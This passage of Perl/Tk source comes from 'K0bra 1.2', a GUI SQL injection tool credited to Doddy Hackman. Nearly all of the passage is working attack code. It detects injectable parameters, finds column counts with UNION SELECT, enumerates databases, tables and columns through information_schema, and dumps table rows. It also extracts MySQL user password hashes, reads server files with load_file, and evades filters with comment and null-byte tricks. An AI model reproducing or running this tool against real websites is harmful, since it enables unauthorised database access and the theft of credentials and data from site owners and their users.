  1787.  
  1788.     sub fuzzcol {
  1789.  
  1790.         my $page = $targetero->get;
  1791.         my $save = partimealmedio($page);
  1792.         ( $pass1, $pass2 ) = &bypass($bypass);
  1793.  
  1794.         $columnero->delete( "0.0", "end" );
  1795.  
  1796.         $d = $tablero->curselection();
  1797.         for my $id (@$d) {
  1798.             my $table = $tablero->get($id);
  1799.  
  1800.             my $count = "0";
  1801.             savefile( $save . ".txt", "\n" );
  1802.             if ( $page =~ /(.*)hackman(.*)/ ) {
  1803.                 my $start = $1;
  1804.                 my $end   = $2;
  1805.                 savefile( $save . ".txt", "[Table] : $table" );
  1806.                 for my $columns (@buscar1) {
  1807.                     chomp $columns;
  1808.                     $tatus->configure( -text => "Fuzzing columns ..." );
  1809.                     $logo->update;
  1810.                     $concat =
  1811. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  1812.                     $code =
  1813.                       toma( $start
  1814.                           . $concat
  1815.                           . $end
  1816.                           . $pass1 . "from"
  1817.                           . $pass1
  1818.                           . $table
  1819.                           . $pass2 );
  1820.                     if ( $code =~ /ERTOR854/g ) {
  1821.                         $columnero->insert( "end", $columns );
  1822.                         savefile( $save . ".txt", "[Column Found] : $columns" );
  1823.                     }
  1824.                 }
  1825.             }
  1826.         }
  1827.         $tatus->configure( -text => " " );
  1828.     }
  1829.  
  1830.     sub per1 {
  1831.  
  1832.         my $he = MainWindow->new(
  1833.             -background => $color_fondo,
  1834.             -foreground => $color_texto
  1835.         );
  1836.         $he->title("Hex Converter (C) Doddy Hackman 2012");
  1837.         $he->geometry("420x70+20+20");
  1838.         $he->resizable( 0, 0 );
  1839.         $he->Label(
  1840.             -text       => "Text : ",
  1841.             -font       => "Impact",
  1842.             -background => $color_fondo,
  1843.             -foreground => $color_texto
  1844.         )->place( -x => 20, -y => 20 );
  1845.         my $cam = $he->Entry(
  1846.             -width      => 30,
  1847.             -background => $color_fondo,
  1848.             -foreground => $color_texto
  1849.         )->place( -y => 24, -x => 65 );
  1850.         $he->Button(
  1851.             -text             => "Encode",
  1852.             -width            => 10,
  1853.             -command          => \&paso1,
  1854.             -activebackground => $color_texto,
  1855.             -background       => $color_fondo,
  1856.             -foreground       => $color_texto
  1857.         )->place( -y => 23, -x => 255 );
  1858.         $he->Button(
  1859.             -text             => "Decode",
  1860.             -width            => 10,
  1861.             -command          => \&paso2,
  1862.             -activebackground => $color_texto,
  1863.             -background       => $color_fondo,
  1864.             -foreground       => $color_texto
  1865.         )->place( -y => 23, -x => 325 );
  1866.  
  1867.         sub paso1 {
  1868.             my $caca = $cam->get();
  1869.             chomp $caca;
  1870.             $cam->configure( -text => encode($caca) );
  1871.         }
  1872.  
  1873.         sub paso2 {
  1874.             my $caca = $cam->get();
  1875.             chomp $caca;
  1876.             $cam->configure( -text => decode($caca) );
  1877.         }
  1878.     }
  1879.  
  1880.     sub per2 {
  1881.  
  1882.         my $hexae = MainWindow->new(
  1883.             -background => $color_fondo,
  1884.             -foreground => $color_texto
  1885.         );
  1886.         $hexae->title("Ascii Converter (C) Doddy Hackman 2012");
  1887.         $hexae->geometry("420x70+20+20");
  1888.         $hexae->resizable( 0, 0 );
  1889.         $hexae->Label(
  1890.             -text       => "Text : ",
  1891.             -font       => "Impact",
  1892.             -background => $color_fondo,
  1893.             -foreground => $color_texto
  1894.         )->place( -x => 20, -y => 20 );
  1895.         my $cama = $hexae->Entry(
  1896.             -width      => 30,
  1897.             -background => $color_fondo,
  1898.             -foreground => $color_texto
  1899.         )->place( -y => 24, -x => 65 );
  1900.         $hexae->Button(
  1901.             -text             => "Encode",
  1902.             -width            => 10,
  1903.             -command          => \&paso3,
  1904.             -activebackground => $color_texto,
  1905.             -background       => $color_fondo,
  1906.             -foreground       => $color_texto
  1907.         )->place( -y => 23, -x => 255 );
  1908.         $hexae->Button(
  1909.             -text             => "Decode",
  1910.             -width            => 10,
  1911.             -command          => \&paso4,
  1912.             -activebackground => $color_texto,
  1913.             -background       => $color_fondo,
  1914.             -foreground       => $color_texto
  1915.         )->place( -y => 23, -x => 325 );
  1916.  
  1917.         sub paso3 {
  1918.             my $caca = $cama->get();
  1919.             chomp $caca;
  1920.             $cama->configure( -text => ascii($caca) );
  1921.         }
  1922.  
  1923.         sub paso4 {
  1924.             my $caca = $cama->get();
  1925.             chomp $caca;
  1926.             $cama->configure( -text => ascii_de($caca) );
  1927.         }
  1928.     }
  1929.  
  1930.     sub dum {
  1931.  
  1932.         my $pa = $targetero->get;
  1933.  
  1934.         $max = MainWindow->new(
  1935.             -background => $color_fondo,
  1936.             -foreground => $color_texto
  1937.         );
  1938.         $max->title("Dump Values");
  1939.         $max->geometry("480x380+20+20");
  1940.         $max->resizable( 0, 0 );
  1941.  
  1942.         $max->Label(
  1943.             -text       => "Target : ",
  1944.             -font       => "Impact",
  1945.             -background => $color_fondo,
  1946.             -foreground => $color_texto
  1947.         )->place( -x => 50, -y => 20 );
  1948.         my $tata = $max->Entry(
  1949.             -width      => 40,
  1950.             -text       => $pa,
  1951.             -background => $color_fondo,
  1952.             -foreground => $color_texto
  1953.         )->place( -y => 23, -x => 110 );
  1954.  
  1955.         $max->Label(
  1956.             -text       => "Table : ",
  1957.             -font       => "Impact",
  1958.             -background => $color_fondo,
  1959.             -foreground => $color_texto
  1960.         )->place( -x => 50, -y => 60 );
  1961.         my $tato = $max->Entry(
  1962.             -width      => 20,
  1963.             -background => $color_fondo,
  1964.             -foreground => $color_texto
  1965.         )->place( -x => 105, -y => 63 );
  1966.  
  1967.         $max->Label(
  1968.             -text       => "Column1 : ",
  1969.             -font       => "Impact",
  1970.             -background => $color_fondo,
  1971.             -foreground => $color_texto
  1972.         )->place( -y => 90, -x => 50 );
  1973.         my $tatu = $max->Entry(
  1974.             -width      => 20,
  1975.             -background => $color_fondo,
  1976.             -foreground => $color_texto
  1977.         )->place( -x => 130, -y => 93 );
  1978.  
  1979.         $max->Label(
  1980.             -text       => "Column2 : ",
  1981.             -font       => "Impact",
  1982.             -background => $color_fondo,
  1983.             -foreground => $color_texto
  1984.         )->place( -y => 130, -x => 50 );
  1985.         my $tita = $max->Entry(
  1986.             -width      => 20,
  1987.             -background => $color_fondo,
  1988.             -foreground => $color_texto
  1989.         )->place( -y => 133, -x => 130 );
  1990.  
  1991.         $max->Button(
  1992.             -width            => 10,
  1993.             -text             => "Extract",
  1994.             -command          => \&tengor,
  1995.             -activebackground => $color_texto,
  1996.             -background       => $color_fondo,
  1997.             -foreground       => $color_texto
  1998.         )->place( -y => 20, -x => 360 );
  1999.  
  2000.         $max->Label(
  2001.             -text       => "Column1",
  2002.             -font       => "Impact",
  2003.             -background => $color_fondo,
  2004.             -foreground => $color_texto
  2005.         )->place( -x => 100, -y => 180 );
  2006.         $max->Label(
  2007.             -text       => "Column2",
  2008.             -font       => "Impact",
  2009.             -background => $color_fondo,
  2010.             -foreground => $color_texto
  2011.         )->place( -x => 300, -y => 180 );
  2012.  
  2013.         my $duta1 = $max->Listbox(
  2014.             -width      => 20,
  2015.             -background => $color_fondo,
  2016.             -foreground => $color_texto
  2017.         )->place( -y => 210, -x => 70 );
  2018.         my $duta2 = $max->Listbox(
  2019.             -width      => 23,
  2020.             -background => $color_fondo,
  2021.             -foreground => $color_texto
  2022.         )->place( -y => 210, -x => 260 );
  2023.  
  2024.         sub tengor {
  2025.  
  2026.             $duta1->delete( "0.0", "end" );
  2027.             $duta2->delete( "0.0", "end" );
  2028.  
  2029.             my $page  = $tata->get;
  2030.             my $tabla = $tato->get;
  2031.             my $col1  = $tatu->get;
  2032.             my $col2  = $tita->get;
  2033.  
  2034.             my $save = partimealmedio($page);
  2035.  
  2036.             savefile( $save . ".txt", "\n" );
  2037.  
  2038.             ( $pass1, $pass2 ) = &bypass($bypass);
  2039.             if ( $page =~ /(.*)hackman(.*)/ ) {
  2040.                 my $start = $1;
  2041.                 my $end   = $2;
  2042.                 $concatx =
  2043. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
  2044.                 $val_code =
  2045.                   toma( $start
  2046.                       . $concatx
  2047.                       . $end
  2048.                       . $pass1 . "from"
  2049.                       . $pass1
  2050.                       . $tabla
  2051.                       . $pass2 );
  2052.                 $concat =
  2053. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
  2054.                 if ( $val_code =~ /ERTOR854(.*)ERTOR854/ig ) {
  2055.                     $tota = $1;
  2056.                     savefile( $save . ".txt", "[Table] : $tabla" );
  2057.                     savefile( $save . ".txt",
  2058.                         "[+] Length of the rows: $tota\n" );
  2059.                     savefile( $save . ".txt", "[$col1] [$col2]\n" );
  2060.                     for my $limit ( 0 .. $tota ) {
  2061.                         chomp $limit;
  2062.                         $logo->update;
  2063.                         $injection =
  2064.                           toma( $start
  2065.                               . $concat
  2066.                               . $end
  2067.                               . $pass1 . "from"
  2068.                               . $pass1
  2069.                               . $tabla
  2070.                               . $pass1 . "limit"
  2071.                               . $pass1
  2072.                               . $limit . ",1"
  2073.                               . $pass2 );
  2074.                         if (
  2075.                             $injection =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854/ig )
  2076.                         {
  2077.                             savefile( $save . ".txt",
  2078.                                 "[$col1] : $1   [$col2] : $2" );
  2079.                             $duta1->insert( "end", $1 );
  2080.                             $duta2->insert( "end", $2 );
  2081.                         }
  2082.                         else {
  2083.                             last;
  2084.                         }
  2085.                     }
  2086.                 }
  2087.                 else {
  2088.                     $tatus->configure( -text => "Error" );
  2089.                 }
  2090.             }
  2091.         }
  2092.     }
  2093.  
  2094.     sub myfile {
  2095.  
  2096.         my $pag = $targetero->get;
  2097.  
  2098.         $loa = MainWindow->new(
  2099.             -background => $color_fondo,
  2100.             -foreground => $color_texto
  2101.         );
  2102.         $loa->title("load_file helper");
  2103.         $loa->geometry("380x410+20+20");
  2104.         $loa->resizable( 0, 0 );
  2105.  
  2106.         $loa->Label(
  2107.             -text       => "Target : ",
  2108.             -font       => "Impact",
  2109.             -background => $color_fondo,
  2110.             -foreground => $color_texto
  2111.         )->place( -x => 20, -y => 20 );
  2112.         my $aa = $loa->Entry(
  2113.             -width      => 40,
  2114.             -text       => $pag,
  2115.             -background => $color_fondo,
  2116.             -foreground => $color_texto
  2117.         )->place( -y => 23, -x => 80 );
  2118.         $loa->Label(
  2119.             -text       => "File : ",
  2120.             -font       => "Impact",
  2121.             -background => $color_fondo,
  2122.             -foreground => $color_texto
  2123.         )->place( -y => 60, -x => 23 );
  2124.         my $tea = $loa->Entry(
  2125.             -width      => 20,
  2126.             -text       => "C:/xampp/htdocs/aca.txt",
  2127.             -background => $color_fondo,
  2128.             -foreground => $color_texto
  2129.         )->place( -y => 63, -x => 63 );
  2130.         $loa->Button(
  2131.             -text             => "Encode",
  2132.             -width            => 8,
  2133.             -command          => \&eno,
  2134.             -activebackground => $color_texto,
  2135.             -background       => $color_fondo,
  2136.             -foreground       => $color_texto
  2137.         )->place( -y => 62, -x => 200 );
  2138.         $loa->Button(
  2139.             -text             => "Show",
  2140.             -width            => 8,
  2141.             -command          => \&ena,
  2142.             -activebackground => $color_texto,
  2143.             -background       => $color_fondo,
  2144.             -foreground       => $color_texto
  2145.         )->place( -y => 62, -x => 263 );
  2146.  
  2147.         $loa->Label(
  2148.             -text       => "Output",
  2149.             -font       => "Impact",
  2150.             -background => $color_fondo,
  2151.             -foreground => $color_texto
  2152.         )->place( -x => 160, -y => 130 );
  2153.         my $mo = $loa->ROText(
  2154.             -width      => 45,
  2155.             -height     => 15,
  2156.             -background => $color_fondo,
  2157.             -foreground => $color_texto
  2158.         )->place( -y => 170, -x => 25 );
  2159.  
  2160.         sub eno {
  2161.             my $t = $tea->get;
  2162.             if ( $t =~ /0x/ ) {
  2163.                 $tea->configure( -text => decode($t) );
  2164.             }
  2165.             else {
  2166.                 $tea->configure( -text => encode($t) );
  2167.             }
  2168.         }
  2169.  
  2170.         sub ena {
  2171.  
  2172.             $mo->delete( "0.0", "end" );
  2173.  
  2174.             my $page = $aa->get;
  2175.             my $save = partimealmedio($page);
  2176.  
  2177.             savefile( $save . ".txt", "\n" );
  2178.             ( $pass1, $pass2 ) = &bypass($bypass);
  2179.             if ( $page =~ /(.*)hackman(.*)/g ) {
  2180.                 my $start = $1;
  2181.                 my $end   = $2;
  2182.                 my $file  = $tea->get;
  2183.                 chomp $file;
  2184.                 $concat =
  2185.                     "unhex(hex(concat(char(107,48,98,114,97),load_file("
  2186.                   . $file
  2187.                   . "),char(107,48,98,114,97))))";
  2188.                 my $code = toma( $start . $concat . $end . $pass2 );
  2189.                 chomp $code;
  2190.  
  2191.                 if ( $code =~ /k0bra(.*)k0bra/s ) {
  2192.                     my $word = $1;
  2193.                     $mo->insert( "end", $word );
  2194.                     savefile( $save . ".txt", "[File Found] : $file" );
  2195.                     savefile( $save . ".txt", "\n[Source Start]\n" );
  2196.                     savefile( $save . ".txt", "$word" );
  2197.                     savefile( $save . ".txt", "\n[Source End]\n" );
  2198.                 }
  2199.                 else {
  2200.                     $tatus->configure( -text => "Error" );
  2201.                 }
  2202.             }
  2203.         }
  2204.     }
  2205.  
  2206.     sub mynow {
  2207.  
  2208.         my $p = $targetero->get;
  2209.  
  2210.         $mi = MainWindow->new(
  2211.             -background => $color_fondo,
  2212.             -foreground => $color_texto
  2213.         );
  2214.         $mi->title("Mysql Extractor");
  2215.         $mi->geometry("500x300+20+20");
  2216.         $mi->resizable( 0, 0 );
  2217.  
  2218.         $mi->Label(
  2219.             -text       => "Target : ",
  2220.             -font       => "Impact",
  2221.             -background => $color_fondo,
  2222.             -foreground => $color_texto
  2223.         )->place( -x => 50, -y => 20 );
  2224.         my $guix = $mi->Entry(
  2225.             -width      => 40,
  2226.             -text       => $p,
  2227.             -background => $color_fondo,
  2228.             -foreground => $color_texto
  2229.         )->place( -y => 23, -x => 110 );
  2230.         $mi->Button(
  2231.             -width            => 10,
  2232.             -text             => "Extract",
  2233.             -command          => \&tengorax,
  2234.             -background       => $color_texto,
  2235.             -foreground       => $color_fondo,
  2236.             -activebackground => $color_texto
  2237.         )->place( -y => 20, -x => 360 );
  2238.  
  2239.         $mi->Label(
  2240.             -text       => "Host",
  2241.             -font       => "Impact",
  2242.             -background => $color_fondo,
  2243.             -foreground => $color_texto
  2244.         )->place( -x => 60, -y => 90 );
  2245.         $mi->Label(
  2246.             -text       => "User",
  2247.             -font       => "Impact",
  2248.             -background => $color_fondo,
  2249.             -foreground => $color_texto
  2250.         )->place( -x => 200, -y => 90 );
  2251.         $mi->Label(
  2252.             -text       => "Password",
  2253.             -font       => "Impact",
  2254.             -background => $color_fondo,
  2255.             -foreground => $color_texto
  2256.         )->place( -x => 360, -y => 90 );
  2257.  
  2258.         my $hostero = $mi->Listbox(
  2259.             -width      => 20,
  2260.             -background => $color_fondo,
  2261.             -foreground => $color_texto
  2262.         )->place( -y => 130, -x => 40 );
  2263.         my $usero = $mi->Listbox(
  2264.             -width      => 23,
  2265.             -background => $color_fondo,
  2266.             -foreground => $color_texto
  2267.         )->place( -y => 130, -x => 180 );
  2268.         my $pasero = $mi->Listbox(
  2269.             -width      => 20,
  2270.             -background => $color_fondo,
  2271.             -foreground => $color_texto
  2272.         )->place( -y => 130, -x => 340 );
  2273.  
  2274.         sub tengorax {
  2275.  
  2276.             my $page = $guix->get;
  2277.             my $save = partimealmedio($page);
  2278.  
  2279.             my $cop  = $page;
  2280.             my $cop1 = $page;
  2281.  
  2282.             savefile( $save . ".txt", "\n" );
  2283.  
  2284.             ( $pass1, $pass2 ) = &bypass($bypass);
  2285.             $page =~ s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  2286.             $code =
  2287.               toma( $page . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  2288.             if ( $code =~ /RATSXPDOWN/ig ) {
  2289.                 $cop1 =~
  2290. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2291.                 $code1 = toma(
  2292.                     $cop1 . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  2293.                 if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2294.                     $mi->update;
  2295.                     savefile( $save . ".txt",
  2296.                         "\n[+] Users mysql Found : $1\n" );
  2297.                     for my $limit ( 0 .. $1 ) {
  2298.                         $mi->update;
  2299.                         $cop =~
  2300. s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  2301.                         $code =
  2302.                           toma( $cop
  2303.                               . $pass1 . "from"
  2304.                               . $pass1
  2305.                               . "mysql.user"
  2306.                               . $pass1 . "limit"
  2307.                               . $pass1
  2308.                               . $limit . ",1"
  2309.                               . $pass2 );
  2310.                         if ( $code =~
  2311. /RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig
  2312.                           )
  2313.                         {
  2314.                             $mi->update;
  2315.                             $hostero->insert( "end", $1 );
  2316.                             $usero->insert( "end", $2 );
  2317.                             $pasero->insert( "end", $3 );
  2318.                             savefile( $save . ".txt",
  2319.                                 "[Host] : $1 [User] : $2 [Password] : $3" );
  2320.                         }
  2321.                         else {
  2322.                             last;
  2323.                         }
  2324.                     }
  2325.                 }
  2326.             }
  2327.             else {
  2328.                 $tatus->configure( -text => "Error" );
  2329.                 $logo->update;
  2330.             }
  2331.         }
  2332.     }
  2333.  
  2334.     sub schemacolumnsdb {
  2335.  
  2336.         $columnero->delete( "0.0", "end" );
  2337.  
  2338.         my $page = $targetero->get;
  2339.         my $save = partimealmedio($page);
  2340.  
  2341.         $d = $tablero->curselection();
  2342.  
  2343.         for my $id (@$d) {
  2344.             my $da = $tablero->get($id);
  2345.  
  2346.             if ( $da =~ /(.*)\.(.*)/ ) {
  2347.                 my ( $db, $table ) = ( $1, $2 );
  2348.  
  2349.                 my $page3 = $page;
  2350.                 my $page4 = $page;
  2351.  
  2352.                 savefile( $save . ".txt", "\n" );
  2353.                 ( $pass1, $pass2 ) = &bypass($bypass);
  2354.                 savefile( $save . ".txt", "\n[DB] : $db" );
  2355.                 savefile( $save . ".txt", "[Table] : $table" );
  2356.                 $page3 =~
  2357. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2358.                 $code3 =
  2359.                   toma( $page3
  2360.                       . $pass1 . "from"
  2361.                       . $pass1
  2362.                       . "information_schema.columns"
  2363.                       . $pass1 . "where"
  2364.                       . $pass1
  2365.                       . "table_name=char("
  2366.                       . ascii($table) . ")"
  2367.                       . $pass1 . "and"
  2368.                       . $pass1
  2369.                       . "table_schema=char("
  2370.                       . ascii($db) . ")"
  2371.                       . $pass2 );
  2372.  
  2373.                 if ( $code3 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2374.                     savefile( $save . ".txt", "[Columns length : $1 ]\n" );
  2375.                     my $si = $1;
  2376.                     chomp $si;
  2377.                     $page4 =~
  2378. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2379.                     $real = "1";
  2380.                     for my $limit2 ( 0 .. $si ) {
  2381.                         $tatus->configure( -text => "Getting columns ..." );
  2382.                         $logo->update;
  2383.                         $code4 =
  2384.                           toma( $page4
  2385.                               . $pass1 . "from"
  2386.                               . $pass1
  2387.                               . "information_schema.columns"
  2388.                               . $pass1 . "where"
  2389.                               . $pass1
  2390.                               . "table_name=char("
  2391.                               . ascii($table) . ")"
  2392.                               . $pass1 . "and"
  2393.                               . $pass1
  2394.                               . "table_schema=char("
  2395.                               . ascii($db) . ")"
  2396.                               . $pass1 . "limit"
  2397.                               . $pass1
  2398.                               . $limit2 . ",1"
  2399.                               . $pass2 );
  2400.                         if ( $code4 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2401.                             $columnero->insert( "end", $1 );
  2402.                             savefile( $save . ".txt", "[Column $real] : $1" );
  2403.                             $real++;
  2404.                         }
  2405.                     }
  2406.                     $tatus->configure( -text => " " );
  2407.                 }
  2408.                 else {
  2409.                     msg( "K0bra 1.2", "information_schema not found" );
  2410.                 }
  2411.             }
  2412.         }
  2413.     }
  2414.  
  2415.     sub schematablesdb {
  2416.  
  2417.         $tablero->delete( "0.0", "end" );
  2418.  
  2419.         my $page = $targetero->get;
  2420.         my $save = partimealmedio($page);
  2421.  
  2422.         $d = $datero->curselection();
  2423.  
  2424.         for my $id (@$d) {
  2425.             my $db = $datero->get($id);
  2426.  
  2427.             $tatus->configure( -text => "Getting tables ..." );
  2428.             $logo->update;
  2429.  
  2430.             my $page1 = $page;
  2431.             savefile( $save . ".txt", "\n" );
  2432.             ( $pass1, $pass2 ) = &bypass($bypass);
  2433.  
  2434.             savefile( $save . ".txt", "[DB] : $db" );
  2435.             $page =~
  2436. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2437.             $page1 =~
  2438. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2439.             $code =
  2440.               toma( $page1
  2441.                   . $pass1 . "from"
  2442.                   . $pass1
  2443.                   . "information_schema.tables"
  2444.                   . $pass1 . "where"
  2445.                   . $pass1
  2446.                   . "table_schema=char("
  2447.                   . ascii($db) . ")"
  2448.                   . $pass2 );
  2449.  
  2450. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  2451.             if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2452.                 $logo->update;
  2453.                 savefile( $save . ".txt", "[+] Tables Length :  $1\n" );
  2454.                 my $limit = $1;
  2455.                 $real = "1";
  2456.                 for my $lim ( 0 .. $limit ) {
  2457.                     $logo->update;
  2458.                     $code1 =
  2459.                       toma( $page
  2460.                           . $pass1 . "from"
  2461.                           . $pass1
  2462.                           . "information_schema.tables"
  2463.                           . $pass1 . "where"
  2464.                           . $pass1
  2465.                           . "table_schema=char("
  2466.                           . ascii($db) . ")"
  2467.                           . $pass1 . "limit"
  2468.                           . $pass1
  2469.                           . $lim . ",1"
  2470.                           . $pass2 );
  2471.  
  2472. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  2473.                     if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2474.                         my $table = $1;
  2475.                         chomp $table;
  2476.                         savefile( $save . ".txt",
  2477.                             "[Table $real Found : $table ]" );
  2478.                         $tablero->insert( "end", $db . "." . $table );
  2479.                         $real++;
  2480.                     }
  2481.                 }
  2482.                 $tatus->configure( -text => " " );
  2483.             }
  2484.             else {
  2485.                 msg( "K0bra 1.2", "information_schema not found" );
  2486.             }
  2487.         }
  2488.     }
  2489.  
  2490.     sub getdbs {
  2491.  
  2492.         my $page = $targetero->get;
  2493.         my $save = partimealmedio($page);
  2494.  
  2495.         my $page1 = $page;
  2496.  
  2497.         $datero->delete( "0.0", "end" );
  2498.  
  2499.         savefile( $save . ".txt", "\n" );
  2500.  
  2501.         $tatus->configure( -text => "Searching DBS ..." );
  2502.         $logo->update;
  2503.         ( $pass1, $pass2 ) = &bypass($bypass);
  2504.         $page =~
  2505. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2506.         $code = toma(
  2507.             $page . $pass1 . "from" . $pass1 . "information_schema.schemata" );
  2508.         if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2509.             my $limita = $1;
  2510.             $tatus->configure( -text => "Databases Length : $limita" );
  2511.             $logo->update;
  2512.             savefile( $save . ".txt", "[+] Databases Length : $limita\n" );
  2513.             $page1 =~
  2514. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  2515.             $real = "1";
  2516.  
  2517.             for my $limit ( 0 .. $limita ) {
  2518.                 $tatus->configure( -text => "Getting databases ..." );
  2519.                 $logo->update;
  2520.                 $code =
  2521.                   toma( $page1
  2522.                       . $pass1 . "from"
  2523.                       . $pass1
  2524.                       . "information_schema.schemata"
  2525.                       . $pass1 . "limit"
  2526.                       . $pass1
  2527.                       . $limit . ",1"
  2528.                       . $pass2 );
  2529.                 if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  2530.                     my $control = $1;
  2531.                     if (    $control ne "information_schema"
  2532.                         and $control ne "mysql"
  2533.                         and $control ne "phpmyadmin" )
  2534.                     {
  2535.                         $datero->insert( "end", $control );
  2536.                         savefile( $save . ".txt",
  2537.                             "[Database $real Found] : $control" );
  2538.                         $real++;
  2539.                     }
  2540.                 }
  2541.             }
  2542.             $tatus->configure( -text => " " );
  2543.             $logo->update;
  2544.         }
  2545.         else {
  2546.             $tatus->configure( -text => "information_schema not found" );
  2547.         }
  2548.     }
  2549.  
  2550.     sub toma {
  2551.         return $nave->get( $_[0] )->content;
  2552.     }
  2553.  
  2554.     sub savefile {
  2555.         open( SAVE, ">>logs/webs/" . $_[0] );
  2556.         print SAVE $_[1] . "\n";
  2557.         close SAVE;
  2558.     }
  2559.  
  2560.     sub partimealmedio {
  2561.         my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  2562.         my $save = $auth;
  2563.         $save =~ s/:/_/;
  2564.         return $save;
  2565.     }
  2566.  
  2567.     sub encode {
  2568.         my $string = $_[0];
  2569.         $hex = '0x';
  2570.         for ( split //, $string ) {
  2571.             $hex .= sprintf "%x", ord;
  2572.         }
  2573.         return $hex;
  2574.     }
  2575.  
  2576.     sub decode {
  2577.         $_[0] =~ s/^0x//;
  2578.         $encode = join q[], map { chr hex } $_[0] =~ /../g;
  2579.         return $encode;
  2580.     }
  2581.  
  2582.     sub bypass {
  2583.         if    ( $_[0] eq "/*" )  { return ( "/**/", "/**/" ); }
  2584.         elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  2585.         else                     { return ( "+",    "--" ); }
  2586.     }
  2587.  
  2588.     sub ascii {
  2589.         return join ',', unpack "U*", $_[0];
  2590.     }
  2591.  
  2592.     sub ascii_de {
  2593.         $_[0] = join q[], map { chr } split q[,], $_[0];
  2594.         return $_[0];
  2595.     }
  2596.  
  2597.     sub installer {
  2598.         unless ( -d "/logs/webs" ) {
  2599.             mkdir( "logs/",      777 );
  2600.             mkdir( "logs/webs/", 777 );
  2601.         }
  2602.     }
  2603.  
  2604.     sub aboutxa {
  2605.         $logo->Dialog(
  2606.             -title            => "About",
  2607.             -buttons          => ["OK"],
  2608.             -text             => "Coded By Doddy H",
  2609.             -background       => $color_fondo,
  2610.             -foreground       => $color_texto,
  2611.             -activebackground => $color_texto
  2612.         )->Show();
  2613.     }
  2614.  
  2615.     sub exitnow {
  2616.         $logo->destroy();
  2617.     }
  2618.  
  2619.     sub nownow {
  2620.  
  2621.         my $page   = $targetero->get;
  2622.         my $bypass = $bypass;
  2623.  
  2624.         scan( $page, $bypass );
  2625.  
  2626.     }
  2627.  
  2628.     sub scan {
  2629.  
  2630.         my $page = $_[0];
  2631.  
  2632.         ( $pass1, $pass2 ) = &bypass( $_[1] );
  2633.  
  2634.         my $save = partimealmedio( $_[0] );
  2635.  
  2636.         $tatus->configure( -text => "Scanning ..." );
  2637.         $logo->update;
  2638.  
  2639.         my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  2640.         my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  2641.  
  2642.         unless ( $testar1 eq $testar2 ) {
  2643.             motor( $page, $_[1] );
  2644.         }
  2645.         else {
  2646.             $tatus->configure( -text => "Not vulnerable" );
  2647.         }
  2648.  
  2649.     }
  2650.  
  2651.     sub motor {
  2652.  
  2653.         my ( $gen, $save, $control ) = &length( $_[0], $_[1] );
  2654.  
  2655.         if ( $control eq 1 ) {
  2656.             $targetero->configure( -text => $gen );
  2657.             $tatus->configure( -text => "Enjoy the menu" );
  2658.         }
  2659.         else {
  2660.             $tatus->configure( -text => "Length columns not found" );
  2661.         }
  2662.     }
  2663.  
  2664.     sub length {
  2665.         $tatus->configure( -text => "Looking for the number of columns ..." );
  2666.         my $rows = "0";
  2667.         my $asc;
  2668.         my $page = $_[0];
  2669.         ( $pass1, $pass2 ) = &bypass( $_[1] );
  2670.  
  2671.         $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  2672.         $total = "1";
  2673.         for my $rows ( 2 .. 200 ) {
  2674.             $logo->update;
  2675.             $asc .= "," . "char("
  2676.               . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  2677.             $total .= "," . $rows;
  2678.             $injection =
  2679.                 $page . "1"
  2680.               . $pass1 . "and"
  2681.               . $pass1 . "1=0"
  2682.               . $pass1 . "union"
  2683.               . $pass1
  2684.               . "select"
  2685.               . $pass1
  2686.               . $alert
  2687.               . $asc;
  2688.             $test = toma($injection);
  2689.             if ( $test =~ /RATSXPDOWN/ ) {
  2690.                 @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  2691.                 $control = 1;
  2692.  
